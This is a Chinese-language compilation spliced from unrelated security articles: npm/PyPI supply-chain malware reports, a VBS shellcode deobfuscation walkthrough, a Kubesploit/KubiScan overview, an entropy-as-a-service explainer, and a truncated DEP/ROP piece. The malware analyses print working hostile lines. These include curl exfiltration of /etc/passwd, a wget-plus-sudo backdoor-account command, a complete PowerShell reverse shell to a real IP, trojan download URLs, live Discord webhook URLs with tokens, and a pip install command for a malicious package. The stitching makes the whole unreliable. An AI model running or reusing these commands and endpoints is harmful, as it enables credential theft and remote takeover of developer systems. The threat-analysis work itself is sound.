切勿安裝來自不受信任來源的應用程序

考慮刪除具有意外行為的應用程序,例如剪貼板訪問toast 通知,並將該行為報告給供應商或應用程序商店運營商

在發現SHEIN Android 應用程序剪貼板行為後,我們與Google 的Android 安全團隊合作,確保從應用程序中刪除此行為。我們感謝Google 和SHEIN 團隊為解決該問題所做的努力和協作。

概述懸鏡供應鏈安全情報中心通過持續監測全網主流開源軟件倉庫,結合程序動靜態分析方式對潛在風險的開源組件包進行動態跟踪和捕獲,發現大量的開源組件惡意包投毒攻擊事件。在2024年2月份,懸鏡供應鏈安全情報中心在NPM官方倉庫(https://www.npmjs.com)和Pypi官方倉庫(https://pypi.org)共捕獲503個不同版本的惡意組件包,其中NPM倉庫投毒佔比89.46%, Pypi倉庫投毒佔比10.54%,NPM倉庫依舊是開源組件包投毒的重災區。

图片

2024年2月份投毒包總量

图片

2024年2月份投毒包每日統計

結合源代碼分析、動態行為監控等方式,我們對2月份捕獲的開源組件投毒包進行多維度分析,總結統計出主流的攻擊方式和惡意行為標籤。

投毒攻擊方式主要包括:

马云惹不起马云惡意文件執行

马云惹不起马云代碼混淆執行

马云惹不起马云惡意文件下載

马云惹不起马云shell命令執行

马云惹不起马云惡意文件釋放

其中,惡意文件執行是最常用的攻擊方式(佔比78.13%),其主要攻擊流程是利用開源組件包管理器在安裝組件包過程中利用自定義的惡意指令來加載並執行內置在組件包中的惡意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外,在組件安裝包中直接嵌入惡意shell命令(佔比8.87%)、惡意文件下載(佔比4.28%)及惡意文件釋放後執行也是投毒者慣用的攻擊手法。為了逃避安全檢測,部分惡意包使用了代碼編碼、加密及混淆(佔比7.61%)等方式進行惡意代碼隱藏。

图片

攻擊方式統計

在所有投毒包的惡意行為中,竊取系統信息佔比超過85%,信息竊取的主要目標是開發者係統的密碼文件、用戶信息、網絡配置、系統版本、DNS服務器IP、系統外網IP、瀏覽器Cookie等敏感數據。其次,遠控木馬和反向shell後門攻擊緊隨其後(兩者之和占比約10%)。此外,在2月裡捕獲到多起盜取數字錢包客戶端敏感數據的投毒攻擊。值得一提的是,我們在NPM組件投毒中首次捕獲到通過添加Linux系統後門賬戶進行遠程控制的攻擊手段。

图片

惡意標籤統計

投毒案例分析本節將從2月份捕獲的開源組件惡意包中精選部分具有代表性的投毒樣本進行分析,還原投毒者的攻擊方式和細節。

Part1敏感信息竊取Python惡意包djanggo利用包名錯誤拼寫(typo-squatting)來偽裝成知名Python WEB組件django,以此迷惑混淆Python開發者誤安裝該惡意包。

图片

知名Python組件django

djanggo惡意包通過在安裝文件setup.py中重定義cmdclass install及egg_info實現在安裝時自動觸發執行惡意函數RunCommand()。

图片

RunCommand()函數內部通過subprocess模塊調用Linux系命令curl將當前系統環境變量、進程列表等信息通過HTTP POST外傳到攻擊者服務器上。

图片

此外,多個NPM惡意組件包(lib-comdig、bubble-dev)在安裝過程中存在竊取系統密碼文件的行為。以惡意包bubble-dev為例,其安裝包的package.json文件中包含惡意shell命令:

图片

攻擊者嘗試利用preinstall指令在NPM包安裝前執行惡意命令將系統/etc/passwd密碼文件及主機名等敏感信息外傳到攻擊者服務器上。

/usr/bin/curl--data'@/etc/passwd'$(hostname).7ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.netPart2系統後門賬戶NPM惡意包browser-spoof在安裝時會執行惡意代碼index2.js, index2.js將從CDN服務器上拉取惡意bash文件sh.sh到受害者係統上執行。

图片

bash惡意代碼如下所示:

wget-qhttps://ezstat.ru/29U6f5;sudouseradd-m-Gsudo-s/bin/bash-p$(opensslpasswd-1ICEWATER)systst2echo'systst2ALL=(ALL:ALL)NOPASSWD:ALL'|sudotee-a/etc/sudoers/dev/null;先通過wget請求將受害者係統出網IP洩露給攻擊者,接著利用useradd命令在系統中添加新的用戶賬戶;最後使用tee命令將新用戶賬戶添加到sudoers文件中,將新賬戶權限提升到sudo權限。

Part 3反向shell後門攻擊者通常在投毒組件包中直接內置反彈shell命令或者通過腳本語言特性將開發者係統shell反彈到攻擊者服務器上,開發者一旦通過包管理器安裝或加載投毒包時,反彈shell代碼將自動執行,導致開發者係統被攻擊者遠程shell控制。

以Python惡意包isred為例,該投毒包目標針對Linux系統,攻擊者在isred模塊入口文件__init__.py中使用socket將受害者係統shell標準輸入、輸出重定向到攻擊者服務器(0.tcp.au.ngrok.io:16311),從而實現對受害者係統的反向shell遠控。

图片

對於NPM倉庫的ts-patch-moongoose惡意包,目標主要針對Windows系統,其惡意文件mongoose.js通過調用child_process模塊執行base64編碼的PowerShell惡意命令。

图片

解碼後的實際PowerShell代碼如下所示:

Start-Process$PSHOME\powershell.exe-ArgumentList{$cc4b3e0706be478095235bdbc5479fde=New'-Obje'ctSystem.Net.Sockets.TCPClient('84.77.69.69',4 443);$4bdf71701e4e45a48bd66974a36d1fd8=$cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98=0.65535|%{0 };while(($i=$4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98,0,$b72dd70b9b5c4635b410c3eda039db98.Length))-ne0){;$ff 887d09535d46489582d67f05e7d60f=(Ne'w-Ob'ject-TypeNameSystem.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0,$i);$e9f33eef 377548fdb8e212aaecec6b47=(iex$ff887d09535d46489582d67f05e7d60f21|Out-String);$0e7cb537947a4905b36e36b8ef25f955=$e9f33eef377548fdb8e212aaece c6b47+'PS'+(p'w'd).Path+'';$986886c1059c495ebc37a28fa8735419=([text.encoding]:ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$ 4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66 974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()}-WindowStyleHidden惡意PowerShell代碼通過System.Net.Sockets.TCPClient接口將Windows系統cmd shell反彈到攻擊者控制的服務器端口84.77.69.69:4443上,從而達到對受害者係統進行遠程shell後門控制。

Part4遠控木馬在2月份捕獲的惡意樣本中有多起針對Python知名HTTP客戶端組件httpx、requests的投毒攻擊(包括requests-sessions、requests-http、request-get、tls-session等)。這些惡意樣本的攻擊方式主要發生在包管理器安裝或者惡意包加載時,惡意包中的惡意代碼會觸發執行並從攻擊者的託管服務器上下載惡意程序到受害者係統上執行木馬後門攻擊。

以惡意包tls-session為例,其安裝包內置了包含有惡意代碼的SSL/TLS 客戶端組件tls-client,tls-client在Pypi倉庫上的周下載量超過3萬。

图片

Python組件tls-client下載量統計

組件包tls-session通過克隆tls-client v1.0.1版本項目代碼,並在tls-client的__init__.py文件中植入base64編碼的惡意代碼。

图片

base64代碼解碼後得到真實的攻擊代碼:

图片

惡意代碼從CDN服務器上下載惡意木馬程序Built.exe保存到受害者係統上(SERPROFILE%\AppData\Local\explorer.exe),並偽裝成Windows系統進程explorer.exe執行。

https://cdn.discordapp.com/attachments/1204168698395627610/1205543621294817332/Built.exe 图片

Built.exe已被多款殺毒引擎判定為木馬

Part5數字錢包竊密NPM惡意包object-window-dtc主要目標是盜取Windows系統上Exodus數字錢包應用數據,其通過JS代碼混淆對惡意代碼進行保護逃避檢測,混淆代碼如下所示:

图片

去混淆後還原出核心惡意代碼:

image.png

image.png

代碼邏輯主要是遍歷Exodus 數字錢包應用目錄(“C:\\Users\\${username}\\AppData\\Roaming\\Exodus\\exodus.wallet”)下的每個文件,並將每個文件內容通過HTTP POST方式外傳到投毒者Discord Webhook接口上。

https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3xPart6BladeroidStealer盜號2月28號,NPM開發者klewba32在官方倉庫上進行Sniper系列投毒,當天連續投放snipersee、sniperser、sniperv1、sniperv2等惡意包。這些惡意包採用相同的惡意代碼,主要目標是盜取開發者瀏覽器保存的登錄憑證、主流社交平台賬號session及用戶數據、瀏覽器數字錢包插件賬戶數據、系統中任何包含常見密碼口令關鍵字的敏感文件。

图片

Sniper系列投毒包的核心惡意代碼使用aes-256-cbc進行加密保護:

图片

代碼解密後可明顯發現代碼中存在多處涉及BladeroidStealer代號的相關內容。

图片

BladeroidStealer主要功能函數列表如下所示:

图片

以getCookiesAndSendWebhook()函數為例,其功能是從瀏覽器本地cookie文件中提取主流社區賬號(instagram、tiktok、reddit、spotify)的sessionid。

概述上週(2024年3月6號),懸鏡供應鏈安全情報中心在Pypi官方倉庫(https://pypi.org/)中捕獲1起新的Py包投毒事件,Python組件tohoku-tus-iot-automation從3月6號開始連續發布6個不同版本惡意包,其中多個版本惡意代碼使用PyArmor進行加密混淆保護,這些惡意包主要針對Windows平台的Python開發者,除了會竊取系統基礎信息和主流瀏覽器(Edge、Chrome)用戶密碼數據,還會遠程下載木馬程序植入到開發者係統中盜取系統密碼。

图片

python惡意組件

截至目前,惡意組件tohoku-tus-iot-automation在Pypi官方倉庫上已被下載461次。图片

图片

tohoku-tus-iot-automation惡意組件下載量

該惡意組件包在國內主流Pypi鏡像源(清華大學、騰訊雲等)仍可正常下載、安裝該惡意包,因此潛在的受害者數量將會更多。

图片

以國內清華大學鏡像源為例,可通過以下命令測試安裝該惡意組件包。

pip3Installtohoku-tus-iot-automation-ihttps://pypi.tuna.tsinghua.edu.cn/simple 图片

投毒分析當Python開發者使用pip install從Pypi官方倉庫或下游鏡像源直接安裝或者依賴引用惡意組件包時,將自動觸發執行組件包setup.py中的惡意攻擊代碼。 setup.py被PyArmor加密混淆保護。

图片

原始的惡意代碼如下所示:

图片

惡意代碼主要包括4大攻擊步驟:

收集系統信息

收集瀏覽器用戶密碼

遠程下載執行竊密木馬

數據盜取外傳

Part1收集系統信息主要收集操作系統版本、處理器、網卡及IP數據、主機名、系統用戶列表、系統進程列表等敏感信息。

图片

系統信息收集功能

Part2收集瀏覽器用戶密碼從存儲瀏覽器(Edge、Chrome)用戶數據的SQLite3數據庫文件中提取用戶密碼。

图片

瀏覽器用戶密碼收集功能

Part3遠程下載執行竊密木馬惡意組件將從遠程下載多個具有竊密功能的木馬後門程序植入到受害者係統中,用於收集Discord賬戶數據以及Windows系統密碼。

盜取Discord數據的木馬程序被偽裝成png圖片隱藏在代碼託管平台SourceForge上。

https://sourceforge.net/projects/iot-automate/files/iotautomatelogo.png 图片

图片

Discord竊密木馬

盜取Windows系統密碼主要由3個木馬後門程序(k7841286.exe、k7841286.dll和readings.exe)負責。

图片

遠程下載執行竊密木馬後門

通過程序逆向可知,k7841286.exe負責加載k7841286.dll,k7841286.dll負責啟動真正具備系統密碼盜取能力的木馬程序readings.exe。

图片

k7841286.dll啟動竊密木馬readings.exereadings.exe被多款殺毒引擎識別為gsecdump竊密木馬,主要功能是盜取Windows系統密碼。

图片

Windows gsecdump竊密密碼

Part4數據盜取外傳在收集到系統信息、瀏覽器密碼、Discord賬戶數據、Windows系統密碼等敏感信息後,投毒者會將所有數據打包外傳到Webhook接口。

https://discordapp.com/api/webhooks/1214145679094448168/vyrtZquc2ia5h7R3FtLno2_s7Lhz1MpBoUL-FA0YM4FhHu-vNxuQ2LJoET6kYW_GQ5fo 图片

Webhook數據外傳功能

Part5IoC數據此次投毒組件包涉及的惡意文件和IoC數據如下所示:

图片

排查方式截至目前,該Python惡意組件包仍可從國內主流Pypi鏡像源正常下載安裝,國內Python開發者可根據惡意包信息和IoC數據通過以下方式進行快速排查是否安裝或引用惡意組件包。

開發者可通過命令pip show tohoku-tus-iot-automation快速排查是否誤安裝或引用該惡意py組件包,若命令運行結果如下圖所示,則代表系統已被安裝該惡意組件,請盡快通過命令pip uninstall tohoku-tus-iot-automation -y進行卸載,同時還需關閉系統網絡並排查系統是否存在異常進程。

此外,開發者也可使用OpenSCA-cli,將受影響的組件包按如下示例保存為db.json文件(可參考總結中提到的組件包信息按格式增減),直接執行掃描命令(opensca-cli -db db.json -path ${project_path}),即可快速獲知您的項目是否受到投毒包影響。

image.png

懸鏡供應鏈安全情報中心是國內首個數字供應鏈安全情報研究中心,依托懸鏡安全團隊強大的供應鏈SBOM管理與監測能力和AI安全大數據云端分析能力,對全球數字供應鏈安全漏洞、投毒事件、組件風險等進行實時動態監測與溯源分析,為用戶智能精準預警“與我有關”的數字供應鏈安全情報。

我們可以通過使用CyberChef和Regex來克服大量基於文本的混淆,在混淆後,系統將識別一些“畸形”的shellcode,我們將在使用SpeakEasy模擬器進行模擬之前手動修復。

哈希:e8710133491bdf0b0d1a2e3d9a2dbbf0d58e0dbb0e0f7c65acef4f788128e1e4,示例鏈接請點此。

TLDR1.識別功能和混淆類型;

2.清除基本混淆與正則表達式和文本編輯器;

3.使用Regex, CyberChef和Subsections去除高級混淆;

4.識別shellcode並修復負字節值(Python或CyberChef);

5.使用Speakeasy驗證和仿真。

初步分析可以使用受感染的密碼保存和解壓縮腳本,這樣我們可以使用文本編輯器(如notepad++)直接打開文件。

打開後,我們可以看到腳本引用了一些Excel對像以及Wscript.Shell,通常用於執行.vbs腳本。

在這個階段,我們將跳轉到使用Wscript來利用Excel執行代碼的假設,避免分析Excel/Wscript組件,直接跳轉到解碼混亂的命令/代碼。

1.png

我們可以假設代碼的初始部分是利用Excel和Wscript來運行一個被混淆的vbs腳本。

混淆技術概述從第30行開始,可以看到兩種主要的混淆形式。

1.腳本被分解成許多小字符串,例如“hello world”將是“hello”&“world”

2.該腳本使用Chr解碼的十進制編碼值。例如,“Hello World”可以是“Hell”& chr(111)&“World”。其中的“0”已轉換為十進制111。

3.每行以下劃線_結尾。雖然這不是混淆,但仍然需要刪除以清理腳本。

2.1.png

2.2.png

現在已經確定3種初始形式的“混淆”,接下來可以繼續使用正則表達式來清除它們。

可以在不使用正則表達式的情況下手動刪除和替換每個值,但這是一個非常繁瑣的過程。在這個腳本中,regex是最好的方法。

在清除第一種形式的混淆後。我們可以使用搜索/替換來做到這一點,使用“&”和空替換值。

3.png

按下確認鍵後,290個字符串分割混淆被刪除了。

4.png

現在,將繼續使用CyberChef來識別和刪除Chr(10)樣式混淆。

這個過程將包括使用一個正則表達式來識別Chr(10),然後使用一個子段來研究這些值並對它們進行解碼,保持剩餘的腳本不變。為此,需要把當前編碼的內容移動到CyberChef中。

用Cyberchef的初步分析現在將腳本移到CyberChef中,可以直接跳到正則表達式(regex)的原型中,以深入研究十進制編碼的值。

對於原型,本文將使用“正則表達式”和“突出匹配”,這是為了確認腳本匹配預期的混淆內容。

這裡使用的正則表達式是Chr \(\d+\):

Chr-需要以Chr開頭的十進制值;

\( and \) -我們希望十進制值包含在括號中,需要轉義括號,因為它們在正則表達式中具有特殊含義;

\d + -指定一個或多個數值;

希望“數值”+“包含在括號中”+“前面加上Chr”。

5.png

由於regex看起來正在運行並正確識別值,因此可以繼續並將其更改為分段。

分段允許僅對匹配正則表達式的數據執行所有將來的操作。這允許我們保持腳本的大部分完整,而只解碼那些混淆並匹配我們的正則表達式的值。

接下來繼續將regex複製到分段,確保禁用原始正則表達式。

6.png

應用了這個小節之後,現在可以應用一個額外的正則表達式來提取十進制值(但只能是包含在Chr中的值)。

從這裡開始,我們現在可以應用“From decimal”來解碼內容。

至此,我們現在有了一個比以前好看得多的腳本,儘管它仍然到處都有&。

7.png

回到文本編輯器

解決了主要的混淆後,可以將CyberChef輸出複制回文本編輯器中。

8.png

& chr(110)&值周圍的&符號仍然存在,可以繼續刪除它們。

9.png

保留了下劃線(visual basic換行符),繼續使用\s +_ \s +刪除它們,這將刪除所有換行符和周圍的空白。

10.1.png

10.2.png

腳本現在看起來乾淨很多,儘管周圍有很多“”,但不會對分析有什麼影響。

我們可以繼續使用“+”的正則表達式刪除這些引號,這將從腳本中刪除所有引號。

11.png

分析清理後的腳本

現在刪除了大部分垃圾代碼,可以繼續查看已解碼的腳本。

可以注意到的第一件事是,在進程注入中有很多api引用(VirtualAllocEx, WriteProcessMemory, CreateProcessA等)。

12.png

稍微向下滾動,我們還可以看到一團十六進製字節和進程名,可能用作進程注入的目標。例如,這個blob字節將被注入rundll32.exe。

13.png

此時,我們可以假設字節是shellcode。這主要是由於長度短,不能作為標準的pe/exe/dll文件。

在繼續之前,可以先刪除最後剩下的下劃線。

14.png

一旦刪除,十六進製字節的blob應該看起來像這樣。 blob太短,不能成為一個完整的PE文件,但是有足夠的空間包含shellcode。

15.png

修復用於表示Shellcode的負十進制值shellcode中存在需要修復的負值。雖然不確定負的值如何在visual basic/.vbs運行,但在這種情況下,似乎-4的值對應於256 -4,即252,這是0xfc,這是在Shellcode開頭看到的一個常見字節(cld標誌)。

在分析可能的shellcode之前,我們需要取所有的負值並從256中減去它們。

這可以在CyberChef或Python中完成,示例如下所示。

CyberChef :這可以通過使用一個分段來提取負值,從值256中減去它們來完成。現在,所有值都可以進行十進制解碼。

16.png

Python:類似於cyberchef,可以迭代十進制值數組,從數字256中減去負值。

在輸出中,我們可以看到明文字符串以及0xfc的初始Shellcode字節。

17.png

兩個輸出也引用了一個可能的C2地址47.98.51[.]47。

18.png

此外,兩個輸出都引用EICAR字符串。這是一個字符串,將自動觸發所有殺毒軟件。

19.png

據分析,這是一個故意的字符串,旨在防止Cobalt Strike的試用版被濫用。

20.1.png

20.2.png

SpeakEasy的Shellcode仿真

0xfc字節的短長度和存在可以讓我們確信結果是shellcode。為了進一步確認,可以繼續在SpeakEasy模擬器中模擬輸出。

21.png

這證實了字節是shellcode,它從ip 47.98.41[.]47充當基於http的下載程序

如上所述,通過分析一個包含shellcode加載器的visual basic腳本,我們成功地識別了一個C2地址,並使用SpeakEasy模擬器確認了shellcode功能。

conjur-kubiscan-768x431.jpg

本文講的是如何使用Kubesploit 和KubiScan 提高雲本地安全性。

主流科技企業廣泛使用Kubernetes,它是一個可擴展、輕量級的開源容器編排平台。這個受歡迎的平台擁有不斷擴展的安全工具、支持和服務生態系統,使其成為管理容器分配和服務的首選平台。

但Kubernetes 容器還是存在多種安全風險,包括運行時威脅、漏洞、暴露和失敗的合規性審計。

這些不安全感促使CyberArk 開發了兩個開源工具:Kubesploit 和KubiScan。這些工具通過在模擬真實攻擊的同時執行深度安全操作,使Kubernetes 社區受益。它們使我們能夠測試我們的安全能力。我們無需等待攻擊發生,而是可以主動準備並體驗現實世界的漏洞利用將如何影響我們的系統,然後採取行動防止這些攻擊。

在深入研究這些工具的工作原理並查看一些示例之前,讓我們簡要探討每種解決方案如何幫助提高安全性並了解如何設置它們。

KubesploitKubesploit是一個功能強大的跨平台後滲透漏洞利用HTTP/2命令控制服務器和代理工具,該工具基於Golang開發,基於Merlin項目實現其功能,主要針對的是容器化環境的安全問題。

雖然有一些工具可以幫助緩解Kubernetes 安全問題,但大多數工具實際上並沒有執行全面掃描。看到這個差距,CyberArk 創建了Kubesploit。開發人員在Golang(Go 編程語言)中為容器化環境實施多平台工具Kubesploit。

Kubesploit 通過在集群上執行複雜的攻擊向量覆蓋來工作,這種模擬有助於我們了解我們對網絡中類似攻擊的彈性。

它的各種模塊檢查不同的漏洞。然後,它利用易受攻擊的kubelet 並掃描從Kubernetes 服務到Kubernetes 集群的端口。 Github 存儲庫包含有關Kubesploit 入門的詳細信息。

設置Kubesploit讓我們探索如何掃描Kubernetes 集群以查找已知的常見漏洞和暴露(CVE)。我們將使用K8sClusterSCVEScan 來執行此操作。首先,讓我們將代理加載到第一個終端的根目錄中。然後,在第二個終端中,我們使用./server命令啟動服務器。

接下來,我們運行use module linux/來加載我們想要使用的任何模塊。例如,clusterCVEScan 模塊利用runC 逃逸到主機。要使用該模塊,我們需要設置Kubernetes 集群地址,並運行集群以查看該集群的各種漏洞。

在每個CVE 的描述屬性中,我們可以閱讀有關掃描發現的集群風險的詳細消息。

如何使用Kubesploit讓我們回顧一下如何使用Kubesploit 檢測漏洞的示例。在我們開始之前,請確保你的系統運行與go.mod 文件(Go 1.14)中相同的Go 版本。其他版本可能會給你一個構建約束錯誤。

首先,我們加載代理url 地址。在本例中,你將使用Kubesploit 環境正在偵聽的URL,例如:

image.png

然後,我們使用命令./server 運行我們的Kubesploit 服務器。我們通過對Kubesploit 服務器環境執行代理列表來檢查代理連接是否已啟用。

要掃描URL 中的多個地址,我們使用PortScan 模塊,如下所示:

1.png

現在,讓我們通過允許創建豁免容器來最小化我們的容器漏洞。我們使用ContainerBreakoutMounting 模塊:

2.png

如果操作完成,我們會收到一條消息說我們成功了。

開始使用KubiScan除了Kubesploit, CyberArk還創建了KubiScan。 Kubiscan 是另一個開源工具,可幫助集群管理員診斷可能危及集群的權限洩露。它在Kubernetes 的基於角色的訪問控制(RBAC) 授權模型中掃描Kubernetes 集群以查找有風險的權限。

KubiScan 發現易受攻擊的角色和角色綁定,並識別它們的集群、pod 和主題。這些信息使管理人員能夠在廣泛的環境中檢測被破壞的許可,攻擊者可能會迅速破壞這些許可。

設置KubiScan現在我們對KubiScan 有了更多的了解,我們將在我們的主節點上進行設置。我們使用命令kubectl get pods 來查找可用的pod。然後,我們使用kubiscan -rp 搜索具有易受攻擊帳戶的pod。

獲得特權賬戶後,我們需要確認它是否出現在風險主題列表中。我們通過運行命令kubiscan -rs 來做到這一點。

然後,我們需要找出該主題有多少規則使其能夠洩漏秘密。為此,我們運行命令:

image.png

為了獲取特定集群的令牌,我們使用

image.png

列出其角色綁定。系統管理員可以使用該令牌檢查集群是否可以在默認命名空間中列出機密。當我們執行該命令時,它會顯示帶有各種屬性的JSON 格式的輸出,以顯示漏洞可能在哪裡。

如何使用KubiScan讓我們研究一個使用KubiScan來發現用戶環境中的漏洞的實際示例。首先,我們在環境中使用kubectl get pods 檢查我們的pod 的狀態。我們應該會看到與下麵類似的輸出,具體取決於我們擁有的pod 數量:

3.png

我們使用命令kubiscan -rp 來獲取易受攻擊的主題:

4.png

然後,使用kubiscan -rs來驗證該賬戶是否存在於風險對象列表中:

5.png

為了搜索特定服務帳戶中的所有規則,我們使用kubiscan-aars “risky-sa” -ns “default” -k “ServiceAccount”。

我們還可以使用-aarbs “risky-sa” -ns “default” -k “ServiceAccount”列出服務帳戶角色綁定。

由於Kubernetes 集群是分佈式和動態的,因此它們容易受到攻擊並且難以保護。為了保護我們的Kubernetes 環境,DevSecOps 需要在整個應用程序生命週期中使用各種安全工具和技術,從構建到部署和運行時。

因為我們需要意識到我們的容器安全性,CyberArk 的網絡安全團隊一直在研究新的工具來填補Kubernetes 的安全漏洞。 Kubesploit 和KubiScan 等解決方案可幫助Kubernetes 社區識別和遏制阻礙我們運行的各種漏洞。

為了保證Kubernetes 的安全,開發人員需要一個能夠牢固地保護和驗證容器並管理秘密的平台。我們需要確保我們只允許訪問特定的應用程序、工具和信息。

由於新的安全解決方案在其熵源方面受到限制,因此確保互聯網上的安全通信對開發人員來說變得越來越困難。那麼開發人員如何提高加密的安全性以保護用戶數據呢?熵即服務可能是一個很好的答案,這就是原因。

在本文中,我們將討論什麼是加密中的熵以及為什麼它值得您關注。本文將對想要了解如何在安全項目中使用熵的開發人員有所幫助。

什麼是熵?在計算中,熵是操作系統或應用程序收集的用於生成需要隨機數據的加密密鑰的信息的隨機性或不可預測性的度量。當使用高級別的熵進行加密時,可以安全地保護用戶數據免受網絡傳輸和存儲設備上的靜態攻擊。

傳統的計算系統著眼於人類與機器的交互,例如鼠標移動、網絡活動和鍵盤輸入的熵。然後將基於軟件熵的不可預測數據轉換為隨機數並用於加密需求。

但除了傳統計算機之外,人們還使用範圍廣泛的其他設備和系統來訪問互聯網。因此,對隨機數據的需求不斷增加,以緩解嵌入式系統漏洞以及雲計算環境和物聯網(IoT) 設備中的安全問題。相比之下,基於雲的系統和創新設備在與用戶的交互方面受到限制,因此它們無法產生足以滿足加密需求的基於軟件的熵。讓我們在下一節中詳細探討熵安全性。

為什麼熵如此重要? 2012 年之前,幾乎沒有人考慮過基於軟件的熵問題。隨後,來自加州大學聖地亞哥分校和密歇根大學的一組研究人員發現,RSA 和DSA 不再生成安全密鑰。在研究期間,研究人員調查了防火牆和路由器等互聯網設備中使用的公鑰的安全性。結果表明,大多數SSH 和TLS 服務器都包含很容易猜到的公鑰。此外,研究人員非常驚訝地發現10% 的SSH 密鑰和5% 的HTTPS 密鑰是重複的。

這樣做的原因是聯網設備資源受限,並且與用戶的交互也受到限制。物聯網設備的開發基於軟件產生的熵足以用於密碼學的假設,但這種方法似乎無效。從我們關於物聯網安全挑戰的文章中可以看出,具有可猜測加密密鑰的物聯網設備可以很容易地從有用資產轉換為間諜工具。

此外,基於雲的系統不與用戶硬件交互。相反,雲服務提供商使用來賓虛擬機的單一黃金映像,並創建多個實例以響應用戶需求。然而,這些實例產生熵的能力非常有限。因此, 雲計算也正成為網絡攻擊的誘人載體。

因此,尋找可靠的真實熵源成為了開發者非常頭疼的問題。雖然高質量熵的不足越來越多,但傳統的熵生成軟件方法在應用於現代計算系統時會失敗。儘管專家建議使用確定性隨機位生成器生成加密密鑰,但存在這樣的風險,即提供給這些生成器用於密鑰開發的初始值或種子很容易被網絡犯罪分子追踪和破壞。

此問題的一種可能解決方案是找到可以由生產環境中的多個應用程序安全共享的外部熵源。

熵即服務考慮到對隨機數據日益增長的需求,美國國家標準與技術研究院(NIST) 提議開發一種新的服務來為應用程序和設備開發人員提供高質量的熵:熵即服務。

什麼是熵即服務(EaaS)? EaaS 是一種創新的互聯網服務,旨在為物聯網設備、嵌入式系統和雲服務提供商提供高質量的熵源。這些熵源基於可以提供真正隨機性的環形振盪器或量子設備的物理過程。開發人員可以使用EaaS 為他們的應用程序或設備播種高質量的熵,並確保他們的產品受到強有力的保護,免受網絡攻擊。

NIST 的EaaS 架構NIST 提供了一種為內置於設備和應用程序中的隨機數生成器(RNG) 提供種子的安全方法。 NIST 建議開發人員配置他們的應用程序和設備,以將對必要字節數的隨機數據的HTTP GET 請求發送到熵即服務服務器,並使用相關的熵即服務協議接收新生成的隨機數據。根據NIST,EaaS 系統應具有以下組件:

量子熵裝置

EaaS 服務器

客戶端系統中的硬件信任根設備

image.png

EaaS 服務器不斷從附加的量子設備接收熵並將其安全存儲。當它收到來自客戶端系統的請求時,服務器會在將其發送給請求者之前對其新的隨機數據進行簽名和加密。數據的新鮮度通過UTC 時間戳確認,客戶端可以通過將其與本地機器的時間進行比較來驗證該時間戳。數字簽名確保種子的真實性和來源。此外,隨機數據的加密是使用特定於每個客戶端的唯一公鑰和服務器自己的私鑰執行的。

客戶端系統應該有一個帶有安全硬件組件的經典計算設備,用於存儲加密密鑰和種子(例如TPM、Intel IPT 或ARM TrustZone)。此外,還應配備保證EaaS服務器與客戶端硬件組件通信的應用軟件。客戶端系統或設備不一定要有專用硬件,但它的可用性將使種子存儲更加安全。

EaaS 服務器不向其客戶端提供加密密鑰;它僅以安全的方式為客戶的RNG 提供獨特的種子。但是您不需要只信任一個EaaS 提供商;NIST 建議使用來自多個EaaS 服務器的響應來播種應用程序。 EaaS 架構是可擴展的,可以包括全球數以千計的EaaS 服務器,這對於建立集體權威和保持架構的開放性和專家可見性非常重要。

為確保完美的前向保密性,開發人員可以將從EaaS 服務器獲得的隨機數據與本地生成的偽隨機數據(使用哈希)或從另一個EaaS 服務器接收的數據混合。

EaaS供應商市場上有越來越多的成功熵即服務解決方案的例子。例如,美國加密安全解決方案開發商Whitewood 為現場軟件提供免費的熵即服務解決方案,並為永久許可或基於消費的模型提供付費選項。懷特伍德創建了netRandom 軟件,該軟件從熵引擎接收隨機數據,並為操作系統、物聯網設備和虛擬機提供獨特的種子材料。

加拿大網絡安全公司Crypto4A 也在其量子就緒解決方案中實施了NIST 的所有建議。這個熵即服務提供商使用專門開發的硬件安全模塊來實現多個熵源,並為NIST SP-800-90 隨機數生成器設計提供基於量子的數據。他們的模塊確保為公司客戶提供必要級別的加密機密性和服務真實性。

澳大利亞安全公司Quintessence Labs 現在正在嚴格測試其qStream 產品,該產品可為偽隨機數生成器高速提供量子生成的熵。該公司開發了一種有效的熵管理系統,該系統符合KMIP 和FIPS 140-2 級別3。

EaaS 對開發人員的好處EaaS 對應用程序和設備開發人員非常有益,他們不再需要為尋找自己的安全熵源而絞盡腦汁。相反,他們可以更快地推出產品,並確保設備和應用程序能夠安全地保護用戶數據。 EaaS 讓新產品能夠從基於互聯網的架構中獲得真正的熵。這種方法允許開發人員始終使用真正的熵來更新他們的產品,以生成最強大的密碼學,並確保他們的解決方案能夠抵禦現代網絡攻擊。

此外,熵即服務解決方案還可用於企業評估其公司係統的安全性。在EaaS 的幫助下,公司可以證明從來自其基於軟件的資源的數據生成的密鑰的強度。此外,如果企業希望完全確保其數據庫受到保護,還可以使用EaaS 為其端點獲取熵。

至於熵在雲環境中的使用,EaaS 可以幫助避免從公共黃金映像創建的兩個虛擬機實例複製其本地熵池的情況。為避免這種情況,鏡像在克隆後只需要在啟動時從EaaS 服務器請求新的隨機數據。

結論熵即服務是一種新的基於雲的服務,允許開發人員獲得對用戶數據進行強加密所需的高質量熵。該服務滿足了對基於雲的應用程序以及嵌入式和物聯網設備的需求。在密碼學中使用熵是增強解決方案的可靠方法。雖然EaaS 不生成加密密鑰,但它以安全的方式為隨機數生成器提供唯一的種子。

robbery.png

雖然數據執行保護(DEP)旨在阻止來自特定內存區域的純代碼注入攻擊,但道高一尺魔高一丈,攻擊者已經不再注入整個代碼的有效負載了,而是重新利用DEP允許的內存頁面中的多個代碼塊,稱為ROPgadget。這些代碼塊取自目標應用程序中現有的代碼,並鏈接在一起,以形成所需的攻擊者有效負載,或僅按頁禁用DEP,以允許運行現有代碼有效負載。

為了永久阻止ROP攻擊,Intel開發了一種新的硬件強制控制流完整性緩解措施,稱為控制強制技術(CET),大約兩年前首次在Windows系統上發布。

